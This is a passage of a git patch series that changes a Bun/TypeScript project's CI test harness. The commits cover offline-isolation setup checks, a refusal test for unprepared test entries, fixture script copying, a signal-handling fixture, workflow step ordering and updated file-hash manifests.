"tests/offline-unit-identity.test.ts":{"sha256":"a74d78620e82120b9daa6b210dc36c90a52a146daa8c18d05455f9426e298131","compatible":true}, "tests/opportunity-cli-agreement.test.ts":{"sha256":"5c0de349cc0186276e4890c57ead597a4bef4dfb151f549dc36229b01a444794","compatible":true}, "tests/owned-loop-evidence.test.ts":{"sha256":"b15f2ddabbb52d9b5c2d94bc21529cc32df79f5ce30d7d498a2e667a6aedd348","compatible":true}, "tests/owned-remove.test.ts":{"sha256":"7a911ef3850bdbba1b4a100dc2ce947aa1e8ee2db11fe450887452239572389f","compatible":false}, diff --git a/tests/ci-runner.test.ts b/tests/ci-runner.test.ts index b10cc3b112..1875ac64b5 100644 --- a/tests/ci-runner.test.ts +++ b/tests/ci-runner.test.ts @@ -302,3 +302,21 @@ test("unavailable compiler runtime probe still runs compiler and preserves its f expect(stdout, "PROBE_FAILURE_IS_DIAGNOSTIC_ONLY").toContain("BRAIN_COMPILER_RUNTIME unavailable"); expect(existsSync(join(dir, "compiler-ran"))).toBe(true); }); + +test("an unprepared outer entry records the fixed setup refusal before discovery",async()=>{ + const dir=fixture(),module=join(dir,"scripts","ci-runner.ts");mkdirSync(join(dir,"scripts")); + const original=readFileSync(new URL("../scripts/ci-runner.ts",import.meta.url),"utf8"); + const lookup='existsSync("/run/brain-test/entry")';expect(original).toContain(lookup); + // Model an outer job with no admitted /run entry, using a separate checkout + // with no prepared tool. The surrounding test keeps its real kernel view. + writeFileSync(module,original.replace(lookup,"false").replace('from "./test-shards"',`from ${JSON.stringify(new URL("../scripts/test-shards.ts",import.meta.url).pathname)}`)); + const target=join(dir,"never-start.test.ts");writeFileSync(target,'await Bun.write("DISCOVERY_SENTINEL","started");'); + const script=join(dir,"run.ts"),records=join(dir,"commands.jsonl"); + writeFileSync(script,`import {runCommands} from ${JSON.stringify(module)};try{await runCommands([{name:"unprepared fixture",argv:[process.execPath,"test",${JSON.stringify(target)}]}],${JSON.stringify(dir)});process.exit(9);}catch(error){console.error(error.message);process.exit(125);}`); + const child=Bun.spawn([process.execPath,"--no-env-file",script],{cwd:dir,env:{...process.env,CI_COMMAND_RECEIPTS:records},stdout:"pipe",stderr:"pipe"}); + const [code,err]=await Promise.all([child.exited,new Response(child.stderr).text(),new Response(child.stdout).text()]); + expect(code,"UNPREPARED_CI_ENTRY_REFUSES_BEFORE_DISCOVERY").toBe(125); + expect(err).toContain("offline native isolation unavailable: setup failed");expect(err).not.toContain("ENOENT"); + expect(existsSync(join(dir,"DISCOVERY_SENTINEL"))).toBe(false); + expect(readFileSync(records,"utf8").split("\n").filter(Boolean).map(line=>JSON.parse(line))).toContainEqual(expect.objectContaining({event:"refusal",stage:"static-entry-unprepared",reason:"offline native isolation unavailable: setup failed"})); +}); diff --git a/tests/ci-workflows.test.ts b/tests/ci-workflows.test.ts index 3af10e9414..32aebe9784 100644 --- a/tests/ci-workflows.test.ts +++ b/tests/ci-workflows.test.ts @@ -3,7 +3,7 @@ import { afterAll, beforeAll, describe, expect, test } from "bun:test"; import { existsSync, mkdtempSync, readFileSync, readdirSync, mkdirSync, rmSync, writeFileSync } from "node:fs"; import { tmpdir } from "node:os"; import { dirname, join, resolve } from "node:path"; -import { CI_WORKFLOWS, checkCIWorkflows, publicationWorkflowProblems, workflowProblems } from "../scripts/check-ci-workflows.ts"; +import { CI_WORKFLOWS, checkCIWorkflows, offlinePreparationProblems, publicationWorkflowProblems, workflowProblems } from "../scripts/check-ci-workflows.ts"; import { ACTION_PINS, actionPinProblems, annotateActionPins, pinned } from "../scripts/action-pins.ts"; import { BROWSER_DETERMINISM_PARTITIONS, DETERMINISM_PARTITIONS } from "../scripts/proof-shards.ts"; const ROOT = resolve(import.meta.dir, ".."); @@ -854,3 +854,17 @@ describe("workflow actions are pinned by commit (#4111)", () => { expect(actionPinProblems(read("heavy-feedback.yml"), "heavy-feedback.yml")).toEqual([]); }); }); + + +test("every workflow test entry is prepared and removal fails the named guard", () => { + for (const file of ["ci.yml", "heavy-feedback.yml", "red-main-probe.yml"]) { + const workflow = Bun.YAML.parse(read(file)) as Workflow; + expect(offlinePreparationProblems(workflow, file)).toEqual([]); + for (const [name, job] of Object.entries(workflow.jobs)) { + if (!job.steps.some(step => /bun scripts\/(?:ci-runner\.ts|ci-proof\.ts (?!aggregate))/.test(step.run ?? ""))) continue; + const changed = structuredClone(workflow); + changed.jobs[name]!.steps = changed.jobs[name]!.steps.filter(step => !/^bash scripts\/ci-(?:offline|runtime)-setup\.sh/.test(step.run ?? "")); + expect(offlinePreparationProblems(changed, file), "WORKFLOW_STATIC_ENTRY_PREPARATION_IS_REQUIRED").toContain(`${file}: ${name}: test entry requires prior unconditional static offline preparation`); + } + } +}); From 1fa5fe2adf79c53dae2e47cfd87a689830581898 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 24 Nov 2026 01:50:44 +0000 Subject: [PATCH 177/187] test: preserve real compiler pipes and cover shared setup workflow fixtures --- scripts/check-ci-workflows.ts | 1 + scripts/offline-runner/rootless-files.json | 2 +- scripts/test-network-guard.ts | 2 +- tests/ci-workflows.test.ts | 2 +- 4 files changed, 4 insertions(+), 3 deletions(-) diff --git a/scripts/check-ci-workflows.ts b/scripts/check-ci-workflows.ts index 825d24a02d..d31cfef554 100644 --- a/scripts/check-ci-workflows.ts +++ b/scripts/check-ci-workflows.ts @@ -19,6 +19,7 @@ type Workflow = { /** Every route into test discovery prepares the same static entry first. */ export function offlinePreparationProblems(workflow: Workflow, file: string): string[] { const problems: string[] = []; + if (!workflow || typeof workflow !== "object") return problems; for (const [name, job] of Object.entries(workflow.jobs ?? {})) { const steps = job.steps ?? []; const entry = steps.findIndex(step => /bun scripts\/(?:ci-runner\.ts|ci-proof\.ts (?!aggregate))/.test(step.run ?? "")); diff --git a/scripts/offline-runner/rootless-files.json b/scripts/offline-runner/rootless-files.json index 14c880074f..45f25d6227 100644 --- a/scripts/offline-runner/rootless-files.json +++ b/scripts/offline-runner/rootless-files.json @@ -1568,7 +1568,7 @@ "tests/ci-throughput.test.ts":{"sha256":"ee380795d993761b1586c94f32175c6042245d6ba81676a76b0d8d055e2fa895","compatible":true}, "tests/ci-timings-collection.test.ts":{"sha256":"a17ba2a73b50228ac3ca244876934ef84bc6fbe49dd004d9bc165da2c284507a","compatible":true}, "tests/ci-timings.test.ts":{"sha256":"26bf3a49ec7dcacd362b8c395fad3ae99eb41881f059a8faaac91720b024a4ac","compatible":true}, - "tests/ci-workflows.test.ts":{"sha256":"5e1575192d0a99f31cf1de15f35ac1b6972a8901870e262bb6b1e7eb96415329","compatible":true}, + "tests/ci-workflows.test.ts":{"sha256":"9968d4827122de14983890eefb277a71a33c9703a703299e7d35e229428064c0","compatible":true}, "tests/claude-title-provenance.test.ts":{"sha256":"3db8abc829a8015022f266906bf127d39d9bb1b61a305eb60c9d2279209d8678","compatible":true}, "tests/claude-worker.test.ts":{"sha256":"5ecb0675192b0906256e355b18349b27ac5a7392220d15e1153b47e23988d8b3","compatible":true}, "tests/clean.test.ts":{"sha256":"7edfbc4dfe63b927670b3eb8ff438b562348d9e12a05b92a49000124d065b785","compatible":true}, diff --git a/scripts/test-network-guard.ts b/scripts/test-network-guard.ts index e350ac75d9..98f27066af 100644 --- a/scripts/test-network-guard.ts +++ b/scripts/test-network-guard.ts @@ -170,7 +170,7 @@ export function installNetworkGuard(): { assertNoEscapes(): void } { const inherited = inheritWorkspaceLease({ ...options, env: testGitEnvironment(options.env ?? process.env) }, defaultStderr, pipeOnly); if (Array.isArray(first)) args[1] = inherited; else args[0] = inherited; - const result = (/(?:^|\/)(?:entry|bun)$/.test(String(cmd[0])) || String(cmd[0]) === process.execPath || cmd.includes("/run/brain-test/entry")) + const result = (/(?:^|\/)(?:entry|bun|bunx)$/.test(String(cmd[0])) || String(cmd[0]) === process.execPath || cmd.includes("/run/brain-test/entry")) ? spawnEntry(native, Bun, key === "spawnSync", cmd, (Array.isArray(first) ? args[1] : args[0]) as Record) : Reflect.apply(native, Bun, args); return result; diff --git a/tests/ci-workflows.test.ts b/tests/ci-workflows.test.ts index 32aebe9784..c03acbb361 100644 --- a/tests/ci-workflows.test.ts +++ b/tests/ci-workflows.test.ts @@ -753,7 +753,7 @@ test("the browser repetition job enters the pinned container as the browser jobs expect(runs(layout.steps), command).toContain(command); expect(runs(job.steps), `CONTAINER_PREREQUISITE:${command}`).toContain(command); } - expect(runs(job.steps)).toEqual(["bun install --frozen-lockfile", "bun scripts/ci-plan.ts", REPEAT]); + expect(runs(job.steps)).toEqual(["bun install --frozen-lockfile", "bash scripts/ci-offline-setup.sh", "bun scripts/ci-plan.ts", REPEAT]); expect(job.if).toBe("${{ !cancelled() && (needs.changeset.result == 'success' || github.event_name == 'push') && needs.changeset.outputs.browser_determinism == 'true' }}"); expect((ci.jobs.changeset!.outputs as Obj).browser_determinism).toBe("${{ steps.plan.outputs.browser_determinism }}"); const feedback = Bun.YAML.parse(read("heavy-feedback.yml")) as Workflow; From 1245055c4407bddad8f7ed0cddafcbfe57c16149 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 24 Nov 2026 01:52:50 +0000 Subject: [PATCH 178/187] test: use unbuffered writes throughout the Python signal fixture --- scripts/offline-runner/rootless-files.json | 2 +- tests/offline-runner.test.ts | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/scripts/offline-runner/rootless-files.json b/scripts/offline-runner/rootless-files.json index 45f25d6227..3e92a34d2e 100644 --- a/scripts/offline-runner/rootless-files.json +++ b/scripts/offline-runner/rootless-files.json @@ -1649,7 +1649,7 @@ "tests/native-pool-io.test.ts":{"sha256":"f928a2835f8fc954019e57ff21a2959c6609a4c2f72cc48c1297632757f14762","compatible":true}, "tests/native-prerequisites.test.ts":{"sha256":"5f808ad7a04c19bf97ad3f1cf2c58b476a07e8a95b6ba5431c1c3b098fc173a3","compatible":true}, "tests/native-timeout-inventory.test.ts":{"sha256":"aa5241f973ee04d7992b4dcb0708ac5c08ca796fdac378ba91df782df0387f08","compatible":true}, - "tests/offline-runner.test.ts":{"sha256":"8e559f8e7cddf0316571ba91828e480ecce0521f902f3839aaa63f2fa9092503","compatible":true}, + "tests/offline-runner.test.ts":{"sha256":"dc214a0aa58f29ff01b1335a2cc21646131fdb7d468e4503f2097e8e80391a11","compatible":true}, "tests/offline-test-launcher.test.ts":{"sha256":"7f13338c0262b059e08352a5a27f3e61db77c2ed31da8ada5ba443fa244d1884","compatible":false}, "tests/offline-unit-identity.test.ts":{"sha256":"a74d78620e82120b9daa6b210dc36c90a52a146daa8c18d05455f9426e298131","compatible":true}, "tests/opportunity-cli-agreement.test.ts":{"sha256":"5c0de349cc0186276e4890c57ead597a4bef4dfb151f549dc36229b01a444794","compatible":true}, diff --git a/tests/offline-runner.test.ts b/tests/offline-runner.test.ts index fde5ad3d16..cc4998a14a 100644 --- a/tests/offline-runner.test.ts +++ b/tests/offline-runner.test.ts @@ -62,7 +62,7 @@ test("a fresh owned mount view is requalified instead of borrowing its parent re },watchdogMs(30000)); test("one signal reaches an inherited-boundary interpreter exactly once",async()=>{ - const code='import signal,sys,time\ndef stop(*_):\n print("trapped",flush=True)\n time.sleep(.1)\n raise SystemExit(23)\nsignal.signal(signal.SIGTERM,stop)\nprint("ready",flush=True)\nwhile True:time.sleep(.01)'; + const code='import os,signal,time\ndef stop(*_):\n os.write(1,b"trapped\\n")\n time.sleep(.1)\n raise SystemExit(23)\nsignal.signal(signal.SIGTERM,stop)\nos.write(1,b"ready\\n")\nwhile True:time.sleep(.01)'; for(let n=0;n<50;n++){ const child=Bun.spawn(["/run/brain-test/entry","/usr/bin/python3","-I","-S","-c",code],{stdin:"ignore",stdout:"pipe",stderr:"pipe"}); const reader=(child.stdout as ReadableStream).getReader();const decoder=new TextDecoder();let out=""; From 9d72e4a42023b8d27ea0b505628c273f5aaeef9d Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 24 Nov 2026 01:57:54 +0000 Subject: [PATCH 179/187] test: preserve OS pipes from the build anchor through compiler startup --- scripts/offline-runner/rootless-files.json | 6 +++--- scripts/test-invocation-child.ts | 5 +++-- tests/experiment-tier.test.ts | 3 ++- tests/test-script.test.ts | 3 ++- tests/test-shards.test.ts | 3 ++- 5 files changed, 12 insertions(+), 8 deletions(-) diff --git a/scripts/offline-runner/rootless-files.json b/scripts/offline-runner/rootless-files.json index 3e92a34d2e..91e4a7c2db 100644 --- a/scripts/offline-runner/rootless-files.json +++ b/scripts/offline-runner/rootless-files.json @@ -1594,7 +1594,7 @@ "tests/egress-first-party-paths.test.ts":{"sha256":"03b7bacf565677ab41999725937eba71c2855d84c136bf0f21ec4df1762b8fbe","compatible":true}, "tests/env-parity.test.ts":{"sha256":"775fa322120873d23ac6ea833083e9d157d5eae48e366e91336760ab3e3c5d71","compatible":true}, "tests/expected-failure-log.test.ts":{"sha256":"18be8f639bde143dc9c9cb5ff683f0f3e465d15d59a2feb620a5b5094385c7e8","compatible":false}, - "tests/experiment-tier.test.ts":{"sha256":"5c4a7a2a9c3d6c32dd72b391375614f130706045d6e3bd4526b55304deec6658","compatible":false}, + "tests/experiment-tier.test.ts":{"sha256":"91624fa38ab32d187ab2b28f016b07b5d6c331d14c540171525fde8d9de94970","compatible":false}, "tests/export-links-runtime.test.ts":{"sha256":"dca3074fef87cb7b13243bdce25b0011ea68abccddc11ff9129eb19d5e11c4ff","compatible":true}, "tests/export-native-rejection-runtime.test.ts":{"sha256":"e1af12a52f484d5362541dc7d45b042b5f0b396d873e0ee2cee5d4509b541005","compatible":true}, "tests/extra-stdio-retention.test.ts":{"sha256":"22e71a1a402f9e499096902ca4623d0d0e7f22d3bff537e9232d186262aa40ad","compatible":true}, @@ -1709,8 +1709,8 @@ "tests/test-invocation-workers.test.ts":{"sha256":"2091d99c06c1c09371ccd29f7d33ef27353f344057de5c0a14549de156f424e5","compatible":true}, "tests/test-invocation.test.ts":{"sha256":"01cc0a17203a9b3c92d5595c8c8770ebf3a39368fda95dddf98961ce8d9d373b","compatible":true}, "tests/test-network-guard.test.ts":{"sha256":"d64581f4432797c4a018db69db79a93edce71538ce9d62a35265b6d46dc2b37c","compatible":true}, - "tests/test-script.test.ts":{"sha256":"28933a7f1dab15ba6077de315efa588198343f2bdbabc12c8f24f82771d8eb8a","compatible":true}, - "tests/test-shards.test.ts":{"sha256":"19e126def6a3e7f32581731de351042034178e0a7f9fc52d8d550add7b216833","compatible":true}, + "tests/test-script.test.ts":{"sha256":"ca2a7f5ac9ea7ae54f0a0769e05cbfb04401d97a8d7d611f2799c999acb1cec1","compatible":true}, + "tests/test-shards.test.ts":{"sha256":"1058e5c13336f3e015a50e0f5b9378b19cf19e97d92da8e7b2eddb56f19956c2","compatible":true}, "tests/test-wait-review-partition.test.ts":{"sha256":"c35e582ade08231118f0a0bdf2a715b3bf3650574f15ecffcde76edb12b03a26","compatible":true}, "tests/turn-temp-backends.test.ts":{"sha256":"5a0db4f1fb8cac9591fbd5e18f7e89b7387a5db5c014d2e992547e12170250f2","compatible":true}, "tests/unit-memory.test.ts":{"sha256":"643178c2ba3c6aaad52b77de3ce0b0ae84e8449227e7c29b1a851c0cb3a91d54","compatible":true}, diff --git a/scripts/test-invocation-child.ts b/scripts/test-invocation-child.ts index e048283213..184bc212e8 100644 --- a/scripts/test-invocation-child.ts +++ b/scripts/test-invocation-child.ts @@ -1,4 +1,5 @@ /** Private build/test process-group lifetime. No persistent or product API. */ +import { spawnEntry } from "./offline-runner/pipes"; import { closeSync, readdirSync, readFileSync } from "node:fs"; import { inheritWorkspaceLease, processIdentity } from "./workspace-lease.mjs"; @@ -17,7 +18,7 @@ export function invocationChild(command: string[], options: { cwd?: string; env? const ready = new Promise((resolve, reject) => { resolveReady = resolve; rejectReady = reject; }); const exit = new Promise(resolve => { resolveExit = resolve; }); void ready.catch(() => {}); - const anchor = Bun.spawn([process.execPath, import.meta.path, "--anchor", ...command], inheritWorkspaceLease({ + const anchor = spawnEntry(Bun.spawn, Bun, false, [process.execPath, import.meta.path, "--anchor", ...command], inheritWorkspaceLease({ ...options, stdin: options.stdin ?? "ignore", stdout: "pipe", stderr: "pipe", detached: process.platform !== "win32", ipc(message: Message, child: ReturnType) { if (message.kind === "error") console.error("Invocation command failed", message.error); @@ -32,7 +33,7 @@ export function invocationChild(command: string[], options: { cwd?: string; env? signalCode = message.signal; usage = message.usage; exited = true; resolveExit(message.code); } }, - })); + })) as Bun.Subprocess<"ignore" | "inherit", "pipe", "pipe">; void anchor.exited.then(code => { if (!started) rejectReady(new Error("Invocation anchor stopped before command startup")); if (!exited) { signalCode = anchor.signalCode; resolveExit(code || 1); } diff --git a/tests/experiment-tier.test.ts b/tests/experiment-tier.test.ts index ce6404a43c..f02542cca2 100644 --- a/tests/experiment-tier.test.ts +++ b/tests/experiment-tier.test.ts @@ -16,7 +16,7 @@ import { } from "../scripts/test-experiments"; const ROOT = join(import.meta.dir, ".."); -const SCRIPTS = ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-experiments.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", +const SCRIPTS = ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "offline-runner/pipes.ts", "publishable-packages.ts", "test-experiments.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]; const passing = (name: string) => `import { expect, test } from "bun:test";\ntest(${JSON.stringify(name)}, () => expect(1).toBe(1));\n`; @@ -34,6 +34,7 @@ async function checkout(use: (dir: string) => Promise) { const dir = mkdtempSync(join(tmpdir(), "experiment-tier-")); try { mkdirSync(join(dir, "scripts")); + mkdirSync(join(dir, "scripts/offline-runner"), { recursive: true }); for (const script of SCRIPTS) cpSync(join(ROOT, "scripts", script), join(dir, "scripts", script)); // The actual preload also owns cleanup for the shared CLI harness. mkdirSync(join(dir, "packages/core/tests"), { recursive: true }); diff --git a/tests/test-script.test.ts b/tests/test-script.test.ts index 0c48044114..579eeecf15 100644 --- a/tests/test-script.test.ts +++ b/tests/test-script.test.ts @@ -32,8 +32,9 @@ async function run(args: string[], env: Record = {}) { const script = join(ROOT, "scripts/test.ts"); if (existsSync(script)) { mkdirSync(join(dir, "scripts")); + mkdirSync(join(dir, "scripts/offline-runner"), { recursive: true }); cpSync(script, join(dir, "scripts/test.ts")); - for (const helper of ["runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { + for (const helper of ["runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "offline-runner/pipes.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { cpSync(join(ROOT, "scripts", helper), join(dir, "scripts", helper)); } // The actual preload also owns cleanup for the shared CLI harness. diff --git a/tests/test-shards.test.ts b/tests/test-shards.test.ts index af68c6b9da..9baaa09b38 100644 --- a/tests/test-shards.test.ts +++ b/tests/test-shards.test.ts @@ -57,9 +57,10 @@ describe("balanced shards run the root command for real", () => { ]; try { mkdirSync(join(dir, "scripts")); + mkdirSync(join(dir, "scripts/offline-runner"), { recursive: true }); const manifest = JSON.parse(readFileSync(join(ROOT, "package.json"), "utf8")); writeFileSync(join(dir, "package.json"), JSON.stringify({ name: "fixture", scripts: { test: manifest.scripts.test } })); - for (const script of ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { + for (const script of ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "offline-runner/pipes.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { cpSync(join(ROOT, "scripts", script), join(dir, "scripts", script)); } mkdirSync(join(dir, "packages/core/tests"), { recursive: true }); From 27f40673a3a5f7d8fe85cfdaf876fc6b6030dc35 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 24 Nov 2026 02:02:00 +0000 Subject: [PATCH 180/187] test: carry the prepared entry and complete preload closure into command fixtures --- scripts/offline-runner/rootless-files.json | 6 +++--- tests/experiment-tier.test.ts | 2 +- tests/test-script.test.ts | 4 +++- tests/test-shards.test.ts | 4 +++- 4 files changed, 10 insertions(+), 6 deletions(-) diff --git a/scripts/offline-runner/rootless-files.json b/scripts/offline-runner/rootless-files.json index 91e4a7c2db..44f96c948f 100644 --- a/scripts/offline-runner/rootless-files.json +++ b/scripts/offline-runner/rootless-files.json @@ -1594,7 +1594,7 @@ "tests/egress-first-party-paths.test.ts":{"sha256":"03b7bacf565677ab41999725937eba71c2855d84c136bf0f21ec4df1762b8fbe","compatible":true}, "tests/env-parity.test.ts":{"sha256":"775fa322120873d23ac6ea833083e9d157d5eae48e366e91336760ab3e3c5d71","compatible":true}, "tests/expected-failure-log.test.ts":{"sha256":"18be8f639bde143dc9c9cb5ff683f0f3e465d15d59a2feb620a5b5094385c7e8","compatible":false}, - "tests/experiment-tier.test.ts":{"sha256":"91624fa38ab32d187ab2b28f016b07b5d6c331d14c540171525fde8d9de94970","compatible":false}, + "tests/experiment-tier.test.ts":{"sha256":"8f7eca2eab00d937ee79776360b7f7be58f165500935faf14c26f4d21a379347","compatible":false}, "tests/export-links-runtime.test.ts":{"sha256":"dca3074fef87cb7b13243bdce25b0011ea68abccddc11ff9129eb19d5e11c4ff","compatible":true}, "tests/export-native-rejection-runtime.test.ts":{"sha256":"e1af12a52f484d5362541dc7d45b042b5f0b396d873e0ee2cee5d4509b541005","compatible":true}, "tests/extra-stdio-retention.test.ts":{"sha256":"22e71a1a402f9e499096902ca4623d0d0e7f22d3bff537e9232d186262aa40ad","compatible":true}, @@ -1709,8 +1709,8 @@ "tests/test-invocation-workers.test.ts":{"sha256":"2091d99c06c1c09371ccd29f7d33ef27353f344057de5c0a14549de156f424e5","compatible":true}, "tests/test-invocation.test.ts":{"sha256":"01cc0a17203a9b3c92d5595c8c8770ebf3a39368fda95dddf98961ce8d9d373b","compatible":true}, "tests/test-network-guard.test.ts":{"sha256":"d64581f4432797c4a018db69db79a93edce71538ce9d62a35265b6d46dc2b37c","compatible":true}, - "tests/test-script.test.ts":{"sha256":"ca2a7f5ac9ea7ae54f0a0769e05cbfb04401d97a8d7d611f2799c999acb1cec1","compatible":true}, - "tests/test-shards.test.ts":{"sha256":"1058e5c13336f3e015a50e0f5b9378b19cf19e97d92da8e7b2eddb56f19956c2","compatible":true}, + "tests/test-script.test.ts":{"sha256":"312a7ee94f46a4d56478394750b985945c567dc85093ad1eb0d08ca3d10e025a","compatible":true}, + "tests/test-shards.test.ts":{"sha256":"af92bea7ccda4641aae8614449a50dad7c4ae152c672a227b03d1e820cea0ae6","compatible":true}, "tests/test-wait-review-partition.test.ts":{"sha256":"c35e582ade08231118f0a0bdf2a715b3bf3650574f15ecffcde76edb12b03a26","compatible":true}, "tests/turn-temp-backends.test.ts":{"sha256":"5a0db4f1fb8cac9591fbd5e18f7e89b7387a5db5c014d2e992547e12170250f2","compatible":true}, "tests/unit-memory.test.ts":{"sha256":"643178c2ba3c6aaad52b77de3ce0b0ae84e8449227e7c29b1a851c0cb3a91d54","compatible":true}, diff --git a/tests/experiment-tier.test.ts b/tests/experiment-tier.test.ts index f02542cca2..1e9a73bd3e 100644 --- a/tests/experiment-tier.test.ts +++ b/tests/experiment-tier.test.ts @@ -16,7 +16,7 @@ import { } from "../scripts/test-experiments"; const ROOT = join(import.meta.dir, ".."); -const SCRIPTS = ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "offline-runner/pipes.ts", "publishable-packages.ts", "test-experiments.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", +const SCRIPTS = ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "offline-runner/pipes.ts", "offline-runner/qualification.ts", "offline-runner/catalog.py", "publishable-packages.ts", "test-experiments.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]; const passing = (name: string) => `import { expect, test } from "bun:test";\ntest(${JSON.stringify(name)}, () => expect(1).toBe(1));\n`; diff --git a/tests/test-script.test.ts b/tests/test-script.test.ts index 579eeecf15..0b3c844ec9 100644 --- a/tests/test-script.test.ts +++ b/tests/test-script.test.ts @@ -33,8 +33,10 @@ async function run(args: string[], env: Record = {}) { if (existsSync(script)) { mkdirSync(join(dir, "scripts")); mkdirSync(join(dir, "scripts/offline-runner"), { recursive: true }); + mkdirSync(join(dir, ".test-tools")); + cpSync("/run/brain-test/entry", join(dir, ".test-tools/entry")); cpSync(script, join(dir, "scripts/test.ts")); - for (const helper of ["runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "offline-runner/pipes.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { + for (const helper of ["runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "offline-runner/pipes.ts", "offline-runner/qualification.ts", "offline-runner/catalog.py", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { cpSync(join(ROOT, "scripts", helper), join(dir, "scripts", helper)); } // The actual preload also owns cleanup for the shared CLI harness. diff --git a/tests/test-shards.test.ts b/tests/test-shards.test.ts index 9baaa09b38..310a331cb8 100644 --- a/tests/test-shards.test.ts +++ b/tests/test-shards.test.ts @@ -58,9 +58,11 @@ describe("balanced shards run the root command for real", () => { try { mkdirSync(join(dir, "scripts")); mkdirSync(join(dir, "scripts/offline-runner"), { recursive: true }); + mkdirSync(join(dir, ".test-tools")); + cpSync("/run/brain-test/entry", join(dir, ".test-tools/entry")); const manifest = JSON.parse(readFileSync(join(ROOT, "package.json"), "utf8")); writeFileSync(join(dir, "package.json"), JSON.stringify({ name: "fixture", scripts: { test: manifest.scripts.test } })); - for (const script of ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "offline-runner/pipes.ts", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { + for (const script of ["test.ts", "runtime-test-builds.ts", "test-invocation.ts", "test-invocation-child.ts", "offline-runner/pipes.ts", "offline-runner/qualification.ts", "offline-runner/catalog.py", "publishable-packages.ts", "test-shards.ts", "test-shard-costs.json", "test-network-preload.ts", "test-home.ts", "test-network-guard.ts", "test-network-child-preload.ts", "workspace-lease.mjs", "host-admission.mjs"]) { cpSync(join(ROOT, "scripts", script), join(dir, "scripts", script)); } mkdirSync(join(dir, "packages/core/tests"), { recursive: true }); From bd39ff662e9eff46a0dba985eab0daa0bc8d905d Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 24 Nov 2026 02:10:08 +0000 Subject: [PATCH 181/187] ci: preserve coordinator receipts and prepare isolation after metadata planning --- .github/workflows/ci.yml | 24 +++++++++++----------- .github/workflows/heavy-feedback.yml | 24 +++++++++++----------- scripts/offline-runner/bootstrap.c | 2 +- scripts/offline-runner/rootless-files.json | 2 +- scripts/offline-runner/runner.py | 2 +- tests/ci-workflows.test.ts | 2 +- 6 files changed, 28 insertions(+), 28 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 582915e8b5..ad4628d920 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -123,8 +123,6 @@ jobs: - id: verify_install timeout-minutes: 1 run: bun install --frozen-lockfile - - name: Prepare the static offline test entry - run: bash scripts/ci-offline-setup.sh - name: Recompute the same affected selection id: verify_plan timeout-minutes: 1 @@ -134,6 +132,8 @@ jobs: HEAD_SHA: ${{ github.event.pull_request.head.sha || github.sha }} RED_MAIN_OID: ${{ needs.changeset.outputs.red_main_oid }} run: bun scripts/ci-plan.ts + - name: Prepare the static offline test entry + run: bash scripts/ci-offline-setup.sh - name: Strict types and curated fast tests concurrently on this runner id: verify_proof timeout-minutes: 4 @@ -439,8 +439,6 @@ jobs: with: bun-version: "1.4.2" - run: bun install --frozen-lockfile - - name: Prepare the static offline test entry - run: bash scripts/ci-offline-setup.sh - name: Recompute affected proof on the actual checkout env: BASE_SHA: ${{ github.event.pull_request.base.sha }} @@ -448,6 +446,8 @@ jobs: HEAD_SHA: ${{ github.event.pull_request.head.sha || github.sha }} RED_MAIN_OID: ${{ needs.changeset.outputs.red_main_oid }} run: bun scripts/ci-plan.ts + - name: Prepare the static offline test entry + run: bash scripts/ci-offline-setup.sh - name: Complete browser proof run: bun scripts/ci-proof.ts browser --shard=${{ matrix.shard }}/3 - name: Proof receipts and failure diagnostics @@ -506,8 +506,6 @@ jobs: with: bun-version: "1.4.2" - run: bun 